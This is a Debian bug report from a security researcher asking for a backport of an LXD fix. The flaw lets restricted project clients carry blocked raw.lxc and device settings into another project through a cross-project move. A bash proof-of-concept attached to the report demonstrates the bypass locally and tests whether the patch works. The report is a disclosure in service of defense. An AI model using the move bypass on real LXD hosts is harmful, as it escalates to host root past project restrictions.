Package: src:lxd
Version: 5.0.2+git20231211.1364ae4-9+deb13u7
Severity: important
Tags: patch security
X-Debbugs-Cc: [email protected]

Hello LXD maintainers,

I am requesting a backport of the upstream fix for CVE-2026-63300 to Trixie.
Restricted LXD projects let an operator delegate instance creation while
blocking settings that expose the host or protected resources. Trixie's LXD
implements a cross-project move as an internal copy, but does not apply the
target project's normal creation check to the copied configuration or devices.
The instance is not revalidated when it starts. A project-scoped HTTPS client
can therefore carry blocked `raw.lxc` host hooks, host-path devices, hardware,
or network access into the target. Those settings can execute as host root or
expose resources that the target policy was meant to protect.

I reproduced this through the daemon HTTPS API with a client certificate
restricted to the source and target projects. Direct creation of a container
with `raw.lxc=lxc.apparmor.profile=unconfined` in the target was rejected, but
moving the same instance from the source succeeded and preserved that config.

Canonical's advisory and patches are:

https://github.com/canonical/lxd/security/advisories/GHSA-5g5r-wh97-qcq2
https://github.com/canonical/lxd/pull/18605
https://github.com/canonical/lxd/commit/ba6e583b7a417fbe4043e3abdfb922a1fe6494f7
https://github.com/canonical/lxd/pull/18821
https://github.com/canonical/lxd/commit/8d122a86c4f52c088c341ebbce0cdc5070876b43

The attached patch is an adapted backport, rather than a byte-for-byte copy:
Trixie's older 5.0.2 source predates prerequisite upstream refactoring. It puts
the same target-project AllowInstanceCreation and AllowSnapshotCreation checks
at the common copy path. It also follows these related stable-5.0 hardening
commits for cross-project copy and backup snapshot restore:

https://github.com/canonical/lxd/commit/16685963288b88179ef58451e2f0d7ede31037e2
https://github.com/canonical/lxd/commit/e9506926a0c42a61f7f624a2d3c6fbf9c7bd3e1c

It applies cleanly to Trixie, preserves source behavior, rejects the PoC, and
also validates the related cross-project copy and snapshot restore paths.

Could this be included in a Trixie security update?

AI tools were used to assist this research and draft. The attached patch and
its PoC were manually validated against Trixie.

Regards,
Artem Dinaburg
Trail of Bits

Attachment: fix.patch
Description: Binary data

#!/usr/bin/env bash
set -euo pipefail

runtime=$(mktemp -d --tmpdir=/tmp CVE-2026-63300.XXXXXX)
source_project=cve63300-source-$$
target_project=cve63300-target-$$
client=lxd-cve63300-$$
instance=bypass-$$
control=blocked-$$

cleanup() {
  sudo lxc delete "$instance" --project "$source_project" --force-local 2>/dev/null || true
  sudo lxc delete "$instance" --project "$target_project" --force-local 2>/dev/null || true
  sudo lxc delete "$control" --project "$target_project" --force-local 2>/dev/null || true
  sudo lxc config trust remove "$fingerprint" --force-local 2>/dev/null || true
  sudo lxc project delete "$source_project" --force-local 2>/dev/null || true
  sudo lxc project delete "$target_project" --force-local 2>/dev/null || true
}
trap cleanup EXIT
fingerprint=unknown

sudo systemctl start lxd.socket
sudo lxd waitready
if ! sudo lxc storage show default --force-local >/dev/null 2>&1; then
  sudo lxd init --minimal
fi

sudo lxc project create "$source_project" --force-local \
  -c restricted=true -c restricted.containers.lowlevel=allow
sudo lxc project create "$target_project" --force-local -c restricted=true
for project in "$source_project" "$target_project"; do
  sudo lxc profile device add default root disk --force-local \
    --project "$project" path=/ pool=default
done

sudo lxc config set core.https_address 127.0.0.1:8443 --force-local
openssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj "/CN=$client" \
  -keyout "$runtime/client.key" -out "$runtime/client.crt" >/dev/null 2>&1
sudo lxc config trust add "$runtime/client.crt" --force-local \
  --name "$client" --restricted --projects "$source_project,$target_project"
fingerprint=$(openssl x509 -in "$runtime/client.crt" -outform DER |
  sha256sum | cut -d ' ' -f1)

mkdir "$runtime/client"
cp "$runtime/client.crt" "$runtime/client/client.crt"
cp "$runtime/client.key" "$runtime/client/client.key"
LXD_CONF="$runtime/client" lxc remote add victim https://127.0.0.1:8443 \
  --accept-certificate --project "$source_project" </dev/null

if direct=$(LXD_CONF="$runtime/client" lxc init "victim:$control" --empty \
  --project "$target_project" -c raw.lxc=lxc.apparmor.profile=unconfined 2>&1); then
  direct_status=0
else
  direct_status=$?
fi
if [[ $direct_status -eq 0 || $direct != *'low-level config "raw.lxc"'* ]]; then
  printf '%s\n' "$direct"
  echo "Control failed: target project did not reject low-level configuration" >&2
  exit 2
fi

LXD_CONF="$runtime/client" lxc init "victim:$instance" --empty \
  --project "$source_project" -c raw.lxc=lxc.apparmor.profile=unconfined
if move=$(LXD_CONF="$runtime/client" lxc move "victim:$instance" \
  --target-project "$target_project" 2>&1); then
  move_status=0
else
  move_status=$?
fi

printf '%s\n' "$move"
if [[ $move_status -eq 0 ]] &&
  [[ $(LXD_CONF="$runtime/client" lxc config get "victim:$instance" raw.lxc \
    --project "$target_project") == lxc.apparmor.profile=unconfined ]]; then
  echo "VULNERABLE: restricted TLS client moved low-level config into target"
  exit 0
fi

if [[ $move == *'Instance cannot be placed in project'* ]] &&
  [[ $move == *'low-level config "raw.lxc"'* ]]; then
  echo "PATCHED: target restrictions rejected the move"
  exit 1
fi

echo "NOT REPRODUCED"
exit 2

Reply via email to